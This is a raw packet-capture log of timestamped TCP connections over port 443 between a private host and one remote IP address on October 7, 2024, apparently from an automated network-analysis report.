Oct 7, 2024 21:53:15.389185905 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.390042067 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.390042067 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.390053034 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.390063047 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.393959045 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.393961906 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.393976927 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.393978119 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.394062996 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.394062996 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.394447088 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.394469976 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.394723892 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.394731045 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.849490881 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.910626888 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.923546076 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.923563957 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:15.928973913 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:15.928989887 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.019809008 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.020410061 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.020421028 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.021003962 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.021011114 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.021737099 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.021889925 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.021997929 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.022043943 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.022043943 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.022062063 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.022075891 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.024632931 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.024657011 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.024857044 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.024857044 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.024888039 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.026109934 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.026452065 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.026475906 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.026855946 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.026865959 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.036248922 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.036695004 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.036705017 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.036791086 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.037094116 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.037098885 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.037301064 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.037317991 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.037709951 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.037714958 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.116554976 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.116628885 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.116816998 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.116816998 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.116991997 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.117006063 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.119494915 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.119519949 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.119671106 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.119761944 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.119771004 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.121278048 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.121361971 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.121517897 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.121517897 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.121721983 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.121731997 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.123796940 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.123816967 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.124021053 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.124021053 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.124047041 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.139113903 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.139178038 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.139202118 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.139339924 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.139343977 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.139379978 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.139379978 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.139400005 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.139413118 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.139431953 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.139486074 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.139486074 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.139493942 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.139502048 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.142349958 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.142383099 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.142415047 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.142433882 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.142534018 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.142599106 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.142739058 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.142761946 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.142766953 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.142779112 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.642520905 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.676902056 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.676912069 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.677623034 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.677628040 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.728394032 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.756867886 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.782639027 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.792006969 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.792077065 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.792140007 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.796407938 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.798264980 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.799676895 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.802465916 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.802479029 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.803023100 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.803030968 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.803312063 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.803318024 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.803816080 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.803822041 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.826267004 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.826272011 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.827162027 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.827167034 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.845702887 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.864418030 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.864424944 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.864449024 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.864454031 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.865328074 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.865336895 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.865672112 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.865678072 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.897100925 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.897176027 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.897283077 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.901523113 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.901652098 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.901731014 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.919917107 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.919972897 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.920098066 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:16.959925890 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.960062981 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:16.960223913 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.077321053 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.077334881 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.077419996 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.077426910 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.077435970 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.077440977 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.080919981 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.080950975 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.080965042 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.080974102 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.094189882 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.094189882 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.094202995 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.094213963 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.239418983 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.239459991 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.239633083 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.242942095 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.242945910 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.242959976 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.242983103 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.243366957 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.243398905 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.243443966 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.243568897 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.244071007 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.244088888 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.247466087 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.247479916 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.249178886 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.249206066 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.249301910 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.249604940 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.249620914 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.251365900 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.251374960 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.251493931 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.252701998 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.252715111 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.983875990 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.984443903 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.985649109 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.985690117 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.985712051 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.985712051 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.985730886 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.985735893 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.986278057 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.986952066 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.986962080 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.986991882 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.987003088 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.987426043 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.987431049 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.993093967 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.993853092 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.993863106 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.994375944 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.994379997 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.996797085 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.998013020 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.998013020 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:17.998034000 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:17.998048067 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.083913088 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.083985090 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.084835052 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.084880114 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.084945917 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.085099936 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.085190058 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.085190058 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.085210085 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.085220098 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.086601019 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.086601019 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.086612940 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.086622000 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.088517904 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.088570118 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.089976072 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.090199947 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.090199947 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.090220928 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.090230942 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.090329885 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.091398954 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.091458082 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.091563940 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.091592073 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.091603041 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.091667891 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.094750881 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.094826937 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.094883919 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.099489927 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.099523067 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.100444078 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.100615025 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.100627899 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.101421118 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.101421118 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.101445913 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.101454973 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.101742029 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.101757050 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.103920937 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.103930950 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.105175972 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.105175972 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.105192900 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.105201006 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.109894991 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.109903097 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.110028982 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.111355066 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.111371994 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.111469030 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.113013983 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.113027096 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.116458893 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.116472960 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.977883101 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.979435921 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.979455948 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.979512930 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.979518890 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.983643055 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.984333038 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.984339952 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.985824108 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.985827923 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.990084887 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.990614891 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.990628958 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.992250919 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.992285013 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.992295027 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.992433071 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.992681980 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.992697001 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.993391991 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.993396997 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.993724108 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.993738890 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:18.993938923 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:18.993942976 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.073852062 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.074003935 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.074237108 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.074237108 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.074486017 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.074502945 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.077742100 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.077780008 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.077960968 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.077996016 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.078003883 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.080308914 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.080370903 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.080513954 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.080513954 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.080578089 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.080588102 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.082848072 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.082897902 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.083065987 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.083108902 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.083123922 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.088931084 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.089098930 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.089241028 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.089241982 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.089262009 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.089270115 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.091563940 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.091578007 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.091670990 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.091758966 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.091837883 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.091871977 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.091886997 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.091917992 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.092276096 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.092293024 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:19.093714952 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:19.093720913 CEST	443	49871	13.107.246.64	192.168.2.5
